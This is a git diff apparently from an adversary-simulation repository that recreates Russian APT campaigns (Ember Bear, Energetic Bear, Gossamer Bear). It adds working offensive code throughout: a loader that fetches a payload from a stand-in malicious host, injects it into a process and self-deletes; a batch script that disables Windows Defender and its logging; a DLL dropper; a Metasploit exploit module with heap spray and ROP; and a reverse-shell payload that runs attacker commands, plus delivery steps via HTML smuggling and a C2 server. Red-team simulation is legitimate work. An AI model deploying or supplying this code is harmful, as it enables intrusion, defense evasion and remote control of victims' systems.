+2.Downloading Payload: The DownloadPayload function downloads a file from a specified URL and saves it to a specified filepath. + + +![Screenshot from 2024-07-04 15-36-33](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/75ddbafe-5642-42b0-8e46-17bdc923ebd9) + + +3.Injecting into a Process: The InjectIntoProcess function injects a DLL into a running process by its name. + +4.Self-Deleting: The SelfDelete function deletes the executable after its execution. + +![Screenshot from 2024-07-04 15-34-57](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/4ecb437f-1fb8-4264-bb3d-3f4e931c1e34) + + +## The fifth stage (disable windows defender) + +This batch file is used to disable Windows Defender functionality. It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks. + + +![Screenshot from 2024-06-18 08-31-01](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/2d3ddff9-2068-432a-ad13-907844e5d376) + + +## The sixth stage (OutSteel stealer) + +OutSteel is a file uploader and document stealer developed with the scripting language AutoIT. It is executed along with the other binaries. It begins by scanning through the local disk in search of files containing specific extensions, before uploading those files to a hardcoded command and control (C2) server. I simulated this Infostealer but through PowerShell Script. + + +![Screenshot from 2024-07-04 15-37-31](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/85849f48-7608-4db2-b6c1-c8b924e36d39) + diff --git a/Russian APT/Ember-Bear-APT/SaintBot.cpp b/Russian APT/Ember-Bear-APT/SaintBot.cpp new file mode 100644 index 0000000..74e68b1 --- /dev/null +++ b/Russian APT/Ember-Bear-APT/SaintBot.cpp @@ -0,0 +1,176 @@ +// SaintBot payload Loader includes the following components: + +// 1.Locale Check: The IsSupportedLocale function checks if the system's locale matches specific locales. +// 2.Downloading Payload: The DownloadPayload function downloads a file from a specified URL and saves it to a specified filepath. +// 3.Injecting into a Process: The InjectIntoProcess function injects a DLL into a running process by its name. +// 4.Self-Deleting: The SelfDelete function deletes the executable after its execution. + +// Author: S3N4T0R +// Date: 2024-7-4 + +// manual compile: x86_64-w64-mingw32-g++ -o SaintBot.exe SaintBot.cpp -lwininet + +#include +#include +#include +#include + +#pragma comment(lib, "wininet.lib") + +typedef NTSTATUS(WINAPI *pNtQueryDefaultLocale)(BOOLEAN, PLCID); + +BOOL IsSupportedLocale() +{ + HMODULE hNtdll = LoadLibrary("ntdll.dll"); + if (!hNtdll) return FALSE; + + pNtQueryDefaultLocale NtQueryDefaultLocale = (pNtQueryDefaultLocale)GetProcAddress(hNtdll, "NtQueryDefaultLocale"); + if (!NtQueryDefaultLocale) { + FreeLibrary(hNtdll); + return FALSE; + } + + LCID DefaultLocaleId = 0; + if (NtQueryDefaultLocale(FALSE, &DefaultLocaleId) >= 0) + { + FreeLibrary(hNtdll); + return (DefaultLocaleId == 0x419 || // Russian (Russia) + DefaultLocaleId == 0x422 || // Ukrainian (Ukraine) + DefaultLocaleId == 0x423 || // Belarusian (Belarus) + DefaultLocaleId == 0x42B || // Armenian (Armenia) + DefaultLocaleId == 0x43F || // Kazakh (Kazakhstan) + DefaultLocaleId == 0x818 || // Romanian (Moldova) + DefaultLocaleId == 0x819); // Russian (Moldova) + } + FreeLibrary(hNtdll); + return FALSE; +} + +BOOL DownloadPayload(const char* url, const char* filepath) +{ + HINTERNET hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) return FALSE; + + HINTERNET hConnect = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) + { + InternetCloseHandle(hInternet); + return FALSE; + } + + BYTE buffer[4096]; + DWORD bytesRead; + HANDLE hFile = CreateFile(filepath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + { + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + return FALSE; + } + + while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead) + { + DWORD bytesWritten; + WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL); + } + + CloseHandle(hFile); + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + return TRUE; +} + +BOOL InjectIntoProcess(const char* processName, const char* dllPath) +{ + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE; + + PROCESSENTRY32 pe; + pe.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hSnapshot, &pe)) + { + CloseHandle(hSnapshot); + return FALSE; + } + + DWORD processId = 0; + do + { + if (!_stricmp(pe.szExeFile, processName)) + { + processId = pe.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe)); + + CloseHandle(hSnapshot); + + if (processId == 0) return FALSE; + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); + if (hProcess == NULL) return FALSE; + + LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE); + if (pRemoteMemory == NULL) + { + CloseHandle(hProcess); + return FALSE; + } + + WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL); + + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMemory, 0, NULL); + if (hThread == NULL) + { + VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + WaitForSingleObject(hThread, INFINITE); + + VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); + CloseHandle(hThread); + CloseHandle(hProcess); + + return TRUE; +} + +void SelfDelete() +{ + TCHAR szFileName[MAX_PATH]; + TCHAR szCmd[MAX_PATH]; + + if (GetModuleFileName(NULL, szFileName, MAX_PATH)) + { + sprintf_s(szCmd, "cmd.exe /c del \"%s\" & exit", szFileName); + STARTUPINFO si = { sizeof(STARTUPINFO) }; + PROCESS_INFORMATION pi; + CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + } +} + +int main() +{ + if (!IsSupportedLocale()) return 0; + + const char* url = "http://malicious.com/payload.exe"; + const char* filepath = "C:\\Windows\\Temp\\payload.exe"; + + if (DownloadPayload(url, filepath)) + { + // Execute the payload by injection + InjectIntoProcess("notepad.exe", filepath); + + // Update the executable if needed + DownloadPayload("http://malicious.com/update.exe", filepath); + + // Remove traces + SelfDelete(); + } + + return 0; +} + diff --git a/Russian APT/Ember-Bear-APT/requirements.txt b/Russian APT/Ember-Bear-APT/requirements.txt new file mode 100644 index 0000000..16ce1fd --- /dev/null +++ b/Russian APT/Ember-Bear-APT/requirements.txt @@ -0,0 +1,6 @@ +pyautogui==0.9.53 +pyvirtualdisplay==3.0 +requests==2.31.0 +pycryptodome==3.17 +discord.py==2.0.1 + diff --git a/Russian APT/Ember-Bear-APT/windows_defender_disable.bat b/Russian APT/Ember-Bear-APT/windows_defender_disable.bat new file mode 100644 index 0000000..5db8b48 --- /dev/null +++ b/Russian APT/Ember-Bear-APT/windows_defender_disable.bat @@ -0,0 +1,31 @@ +@echo off +rem Disable Real-time protection + +reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f +reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f + +rem Disable Logging +reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f +reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f + +rem Disable WD Tasks +schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable +schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable +schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable +schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable +schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable + +echo Windows Defender real-time protection has been disabled. +pause + diff --git a/Russian APT/Energetic-Bear-APT/C2-Server.php b/Russian APT/Energetic-Bear-APT/C2-Server.php new file mode 100644 index 0000000..55e57d9 --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/C2-Server.php @@ -0,0 +1,121 @@ + + diff --git a/Russian APT/Energetic-Bear-APT/CopyDLL.java b/Russian APT/Energetic-Bear-APT/CopyDLL.java new file mode 100644 index 0000000..845df45 --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/CopyDLL.java @@ -0,0 +1,32 @@ +// javac CopyDLL.java + +import java.io.IOException; + +public class CopyDLL { + public static void main(String[] args) { + try { + // Check if a file name is provided as a command-line argument + if (args.length == 0) { + System.out.println("Usage: java CopyDLL "); + return; + } + + // Construct the command to copy the file to %TEMP% as payload.dll + String command = "cmd /c copy payload.dll %TEMP%\\payload.dll /y & rundll32.exe %TEMP%\\payload.dll,RunDllEntry"; + + // Execute the command + Process process = Runtime.getRuntime().exec(command); + + // Wait for the process to finish + process.waitFor(); + + // Print success message + System.out.println("Command executed successfully."); + } catch (IOException | InterruptedException e) { + e.printStackTrace(); + } + } +} + + + diff --git a/Russian APT/Energetic-Bear-APT/EnergeticBear_exploit.rb b/Russian APT/Energetic-Bear-APT/EnergeticBear_exploit.rb new file mode 100644 index 0000000..3784070 --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/EnergeticBear_exploit.rb @@ -0,0 +1,213 @@ +# this Modified version of the exploit CVE-2011-0611 based on Windows 10 +# the original exploit from : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb + +# Author : S3N4T0R +# sudo cp EnergeticBear_exploit.rb /usr/share/metasploit-framework/modules/exploits +# sudo updatedb +# msf6 > search EnergeticBear_exploit + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability", + 'Description' => %q{ + This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player + versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by + exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging + this vulnerability, an attacker can execute arbitrary code on the victim's system. + }, + 'License' => , + 'Author' => + [ + 'S3N4T0R', + ], + 'References' => + [ + [ 'CVE', '2011-0611' ], + [ 'OSVDB', '71686' ], + [ 'BID', '47314' ], + [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ], + [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ], + [ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ], + [ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ], + [ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ], + ], + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + }, + 'DefaultOptions' => + { + 'EXITFUNC' => "process", + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 10 on Windows 10', + { + 'Rop' => true, + 'Pivot' => 0x7c348b05, # Example ROP gadget address + 'Offset1' => '0x5E2', # Example offset + 'Offset2' => '0x02', # Example offset + 'Max1' => '0x150', # Example spray size + 'Max2' => '0x200' # Example spray size + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2011-04-11', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) + ], self.class + ) + + end + + def exploit + path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf") + f = File.open(path, "rb") + @trigger = f.read(f.stat.size) + f.close + super + end + + def get_target(request) + agent = request.headers['User-Agent'] + + if agent =~ /Windows NT 10\.0/ and agent =~ /MSIE 10\.0/ + # Windows 10 with IE 10 + return targets[1] + else + return nil + end + end + + def on_request_uri(cli, request) + #Set default target + my_target = target + + #If user chooses automatic target, we choose one based on user agent + if my_target.name =~ /Automatic/ + my_target = get_target(request) + if my_target.nil? + print_error("Sending 404 for unknown user-agent") + send_not_found(cli) + return + end + vprint_status("Target selected: #{my_target.name}") + end + + vprint_status("URL: #{request.uri}") + + if request.uri =~ /\.swf$/ + #Browser requests our trigger file, why not + print_status("Sending trigger SWF...") + send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} ) + return + end + + #Targets that don't need ROP + pivot = "\xb8\x0c\x0c\x0c\x0c" #MOV EAX,0x0c0c0c0c + pivot << "\xff\xe0" #JMP EAX + pivot << "\x41" #Pad + + #Targets that need ROP + if my_target['Rop'] + #Target Addr=0x11111110 + pivot = + [ + 0x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot + my_target['Pivot'], # ROP Pivot + 0x7c346b52, # EAX (POP ESP; RETN) + ].pack('V*') + + #Target Addr=0x0c0c0c0c + p = generate_rop_payload('java', payload.encoded) + else + p = payload.encoded + end + + arch = Rex::Arch.endian(my_target.arch) + + shellcode = Rex::Text.to_unescape(p, arch) + pivot = Rex::Text.to_unescape(pivot, arch) + + #Extract string based on target + if my_target.name == 'IE 10 on Windows 10' + js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);" + else + js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" + end + + randnop = rand_text_alpha(rand(100) + 1) + js_nops = Rex::Text.to_unescape("\x0c"*4) + + js = <<-JS + function heap_spray(heaplib, nops, code, offset, max) { + while (nops.length < 0x2000) nops += nops; + var offset = nops.substring(0, offset); + var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + #{js_extract_str} + heaplib.gc(); + for (var i=1; i true} ) + + #Javascript obfuscation is optional + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate(memory_sensitive: true) + end + + trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf" + + html = <<-EOS + + + + + + + + + + + + EOS + + html = html.gsub(/^ {4}/, "") + + print_status("Sending HTML to...") + send_response(cli, html, {'Content-Type' => "text/html"} ) + end +end + diff --git a/Russian APT/Energetic-Bear-APT/HTML Smuggling.html b/Russian APT/Energetic-Bear-APT/HTML Smuggling.html new file mode 100644 index 0000000..8b0845a --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/HTML Smuggling.html @@ -0,0 +1,68 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/Russian APT/Energetic-Bear-APT/Kaspersky Analysis Report.pdf b/Russian APT/Energetic-Bear-APT/Kaspersky Analysis Report.pdf new file mode 100644 index 0000000..a89366f Binary files /dev/null and b/Russian APT/Energetic-Bear-APT/Kaspersky Analysis Report.pdf differ diff --git a/Russian APT/Energetic-Bear-APT/Malicious-XML.xdp b/Russian APT/Energetic-Bear-APT/Malicious-XML.xdp new file mode 100644 index 0000000..c7c5e66 --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/Malicious-XML.xdp @@ -0,0 +1,14 @@ + diff --git a/Russian APT/Energetic-Bear-APT/README.md b/Russian APT/Energetic-Bear-APT/README.md new file mode 100644 index 0000000..72b2e25 --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/README.md @@ -0,0 +1,202 @@ +# Energetic Bear APT Adversary Simulation +This is a simulation of attack by (Energetic Bear) APT group targeting “eWon” is a Belgian producer of SCADA and industrial network equipmen, +the attack campaign was active from January 2014,The attack chain starts with malicious XDP file containing the PDF/SWF exploit (CVE-2011-0611) +and was used in spear-phishing attack. This exploit drops the loader DLL which is stored in an encrypted form in the XDP file, +The exploit is delivered as an XDP (XML Data Package) file which is actually a PDF file packaged within an XML container. +I relied on Kaspersky tofigure out the details to make this simulation: +https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080817/EB-YetiJuly2014-Public.pdf + +![imageedit_6_9165265996](https://github.com/S3N4T0R-0X0/Energetic-Bear-APT-Adversary-Simulation/assets/121706460/25bb36f0-0a63-4dbe-941f-dd64ceb05e2f) + +This attack included several stages including exploitation of the (CVE-2011-0611) vulnerability which allows attackers to overwrite a pointer in memory by embedding a specially crafted .swf, The XDP file contains a SWF exploit CVE-2011-0611 and two files encrypted with XOR stored in the XDP file One of the files is malicious DLL the other is a JAR file which is used to copy and run the DLL by executing the Cmd command line + +1. CVE-2011-0611: this module exploits a memory corruption vulnerability in Adobe Flash Player versions 10.2.153.1 and earlier, i maked Modified version of the exploit based on Windows 10. + + + + +2. CVE-2012-1723: this exploit allows for sandbox escape and remote code execution on any target with a vulnerable JRE (Java IE 8). + + + +3. XDP file: this XDP file contains a malicious XML Data Package (XDP) with a SWF exploit (CVE-2011-0611), It also includes functionality to download additional files via HTML-Smuggling by apache host. + + +4. HTML Smuggling: the html-smuggling file is used after uploading it to the apache server to download other files, One of the files is DLL payload the other is a small JAR file. + +5. JAR file: this jar file used to copy and run the DLL by executing the cmd command. + + + +6. DLL payload: the attackers used havex trojan, havex scanned the infected system to locate any supervisory control and data acquisition SCADA. + + + +7. Encrypted with XOR: the XDP file contains a SWF exploit and two files encrypted with XOR. + + +8. PHP backend C2-Server: the attckers used hacked websites as simple PHP C2 Server backend. + + +9. Final result: make remote communication by utilizes XOR encryption for secure data transmission between the attacker server and the target. + +![Screenshot from 2024-05-04 17-37-00](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/5cd199b5-9af1-4258-b5de-ecdf4e97cca1) + + + +## The first stage (exploit Adobe SWF Memory Corruption Vulnerability CVE-2011-0611) + +This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player +versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by +exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging +this vulnerability, an attacker can execute arbitrary code on the victim's system. + + +![Screenshot from 2024-05-02 10-49-29](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/43751d02-3289-42ed-9971-90c34e0bbdcd) + + +`sudo cp EnergeticBear_exploit.rb /usr/share/metasploit-framework/modules/exploits` + +`sudo updatedb` + +`msf6 > search EnergeticBear_exploit` + + +![Screenshot from 2024-05-06 05-54-55](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/34bf9736-214b-49e1-89d1-b96570f6b863) + + +This Modified version of the exploit CVE-2011-0611 based on Windows 10 ,the original exploit from : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb + +## The Second stage (CVE-2012-1723 Oracle Java Applet Field Bytecode Verifier Cache RCE) + +This vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot. if you need know more about CVE-2012-1723: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Java/CVE-2012-1723!generic&threatId=-2147302241 + +![Screenshot from 2024-05-04 18-10-19](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/63ff31a9-6a4e-4a8b-ae52-4b216a539b59) + +`use exploit/multi/browser/java_verifier_field_access` + +The attackers actively compromises legitimate websites for watering hole attacks. These hacked +websites in turn redirect victims to malicious JAR or HTML files hosted on other sites maintained +by the group (exploiting CVE-2013-2465, CVE-2013-1347, and CVE-2012-1723 in Java 6, Java 7, +IE 7 and IE 8), These hacked websites will be using a simple PHP C2 Server backend. + + + +![Screenshot from 2024-05-05 13-24-47](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/8502eba2-ab15-4b18-8c49-a0517276d6a4) + + + + + +## The third stage (XML Data Package XDP with a SWF exploit) + +The exploit is delivered as an XDP (XML Data Package) file which is actually a PDF file packaged within an XML container. This is a known the PDF obfuscation method and serves as an additional anti-detection layer. +if you need know more about XDP file: https://filext.com/file-extension/XDP + + +![Screenshot from 2024-05-07 10-26-24](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/a05844ed-bad1-4d9a-aaf6-808249f09a86) + + +The XDP file contains a SWF exploit (CVE-2011-0611) and two files (encrypted with XOR) stored in the PDF file, It also includes functionality to download additional files via HTML-Smuggling by apache host. + +## The fourth stage (HTML-Smuggling with DLL payload & JAR file) + +The HTML smuggling file is used after uploading it to the apache server to download other files, One of the files is DLL payload the other is a small JAR file which is used to copy and run the DLL, the command line to make payload base64 to then put it in the HTML smuggling file: `base64 payload.dll -w 0` and the same command but with jar file. + +![Screenshot from 2024-05-07 16-04-06](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/bf4b3892-3521-41f9-aa5e-740c5229e204) + + +## The fifth stage (Copy DLL by JAR file) + +This jar file used to copy and run the DLL by executing the following command: +`cmd /c copy payload.dll %TEMP%\\payload.dll /y & rundll32.exe %TEMP%\\payload.dll,RunDllEntry` + +It constructs a command to copy a file named payload.dll to the %TEMP% directory (typically the temporary directory) as payload.dll and then execute it using rundll32.exe and it waits for the process to finish using process.waitFor(). + + +![Screenshot from 2024-05-04 09-44-48](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/4ade01c3-7539-45da-941e-1d8425b68320) + + + +## The sixth stage DLL payload (Havex trojan) + +The attackers gained access to eWon’s FTP site and replaced the legitimate file with one that is bound with the Havex dropper several times. + +The main functionality of this component is to download and load additional DLL modules into the +memory. These are stored on compromised websites that act as C&C servers. In order to do that, the +malware injects itself into the EXPLORER.EXE process, sends a GET/POST request to the PHP script +on the compromised website, then reads the HTML document returned by the script, looking for a +base64 encrypted data between the two “havex” strings in the comment tag `` +and writes this data to a %TEMP%\.xmd file (the filename is generated by GetTempFilename +function). + + +Full Disclosure of Havex Trojans: https://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans + + +![Screenshot from 2024-05-05 07-59-00](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/9212b904-78cd-40af-a29d-61bd41970c3e) + + + +If you need know more about Havex trojan: https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat + +Notes on havex trojan: http://pastebin.com/qCdMwtZ6 + + +In this simulation i used a simple payload with XOR encryption to secure the connection between the C2 Server and the Target Machine, +this payload uses Winsock for establishing a tcp connection between the target machine and the attacker machine, in an infinite loop the payload receives commands from the attacker c2 decrypts them using (XOR) encryption executes them using system and then sleeps for 10 seconds before repeating the loop. + + + +![Screenshot from 2024-05-08 16-33-22](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/5ac1dcf5-e68a-43a6-985b-51dce1ea74aa) + +This network forensics form (SCADA hacker) about havex trojan: https://scadahacker.com/library/Documents/Cyber_Events/NETRESEC%20-%20SCADA%20Network%20Forensics.pdf + +## The seventh stage (encrypted XDP with XOR) + +After making compile for the payload and jar file and make base64 for the jar file and DLL payload, i put them in the html smuggling file, then i make host for the html file, then i put this host in the XDP file next to CVE-2011-0611, then i make XOR encryption for XDP file, after this convert xdp to pdf. + +![Screenshot from 2024-05-08 17-41-26](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/d16dad38-99a8-4ff5-820a-235437bb74a6) + +i used browserling to make xor encrypt: https://www.browserling.com/tools/xor-encrypt + +## The eighth stage (PHP backend C2-Server) + +This PHP C2 server script enable to make remote communication by utilizes XOR encryption for secure data transmission between the attacker server and the target. + + +![Screenshot from 2024-05-03 13-21-06](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/17237410-7464-4503-a97e-cea00a20e97b) + + +`xor_encrypt($data, $key)` This function takes two parameters: the data to be encrypted ($data) and the encryption key ($key) it iterates over each character in the data and performs an XOR operation between the character and the corresponding character in the key (using modulo to repeat the key if it's shorter than the data), the result is concatenated to form the encrypted output which is returned. + + +`send_to_payload($socket, $data, $encryption_key)` This function sends encrypted data to the target system (payload) over a socket connection it first encrypts the data using the xor_encrypt function with the provided encryption key then it writes the encrypted data to the socket using socket_write. + + +`receive_from_payload($socket, $buffer_size, $encryption_key)` This function receives encrypted data from the target system over a socket connection it reads data from the socket with a maximum buffer size specified by $buffer_size, the received encrypted data is then decrypted using the xor_encrypt function with the provided encryption key before being returned. + +if you chose (command or URL) is encrypted using XOR encryption with a user-defined key before being sent to the target. + +![Screenshot from 2024-05-08 18-28-21](https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/d3c50bdb-5b59-4a46-b4ac-8acdeebff440) + +This other simulation for the same attack by cobaltstrike: https://www.youtube.com/watch?v=XkBvo6z0Tqo + +## Final result: payload connect to PHP C2-server + +1.Set up a web server or any HTTP server that can serve text content. + +2.Upload a text file containing the commands you want the compromised system to execute. + +3.Make sure the text file is accessible via HTTP and note down the URL. + +4.When prompted by the script, enter the URL you obtained in step. + +NOTE: If you choose to fetch commands from a URL it will prompt you to enter the URL, If you choose to enter commands directly it will prompt you to Enter a command to execute + + + + +https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/27186732-723b-4b6c-b233-0da479ea5b7a + + diff --git a/Russian APT/Energetic-Bear-APT/payload.cpp b/Russian APT/Energetic-Bear-APT/payload.cpp new file mode 100644 index 0000000..6fe90e5 --- /dev/null +++ b/Russian APT/Energetic-Bear-APT/payload.cpp @@ -0,0 +1,81 @@ +//this payload uses reverse TCP connection to an attacker ip address and listens for commands to execute on the target machine, +//this payload uses Winsock for establishing a tcp connection between the target machine and the attacker machine. +//in an infinite loop, the payload receives commands from the attacker c2 , decrypts them using (XOR)encryption, executes them using system, and then sleeps for 10 seconds before repeating the loop. + +//manual compile: x86_64-w64-mingw32-g++ -o payload.dll payload.cpp -lws2_32 -static-libgcc -static-libstdc++ + +#include +#include +#include +#include +#include + +// XOR encryption +std::string xorEncrypt(const std::string& data, const std::string& key) { + std::string encrypted; + for (size_t i = 0; i < data.size(); ++i) { + encrypted += data[i] ^ key[i % key.size()]; + } + return encrypted; +} + +int main() { + std::string attackerIP = "192.168.1.1"; // replace with your iP address + int port = 4444; // replace with your port + std::string encryptionKey = "123456789"; // replace with XOR encryption key + + // initialize Winsock + WSADATA wsData; + WORD version = MAKEWORD(2, 2); + if (WSAStartup(version, &wsData) != 0) { + std::cerr << "Error initializing Winsock.\n"; + return 1; + } + + + SOCKET sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sockfd == INVALID_SOCKET) { + std::cerr << "Socket creation failed.\n"; + WSACleanup(); + return 1; + } + + + sockaddr_in serverAddr; + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(port); + inet_pton(AF_INET, attackerIP.c_str(), &serverAddr.sin_addr); + + + if (connect(sockfd, (sockaddr*)&serverAddr, sizeof(serverAddr)) != 0) { + std::cerr << "Connection failed.\n"; + closesocket(sockfd); + WSACleanup(); + return 1; + } + + + while (true) { + std::string commands; + char buffer[4096]; + int bytesReceived = recv(sockfd, buffer, sizeof(buffer), 0); + if (bytesReceived > 0) { + buffer[bytesReceived] = '\0'; + commands = buffer; + } + + std::string decryptedCommands = xorEncrypt(commands, encryptionKey); + + + system(decryptedCommands.c_str()); + + + Sleep(10); + } + + closesocket(sockfd); + WSACleanup(); + + return 0; +} + diff --git a/Russian APT/Gossamer-Bear-APT/GoogleDrive-C2.py b/Russian APT/Gossamer-Bear-APT/GoogleDrive-C2.py new file mode 100644 index 0000000..3d314be --- /dev/null +++ b/Russian APT/Gossamer-Bear-APT/GoogleDrive-C2.py @@ -0,0 +1,174 @@ +# This script integrates Google Drive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Google Drive communication. + +# This C2 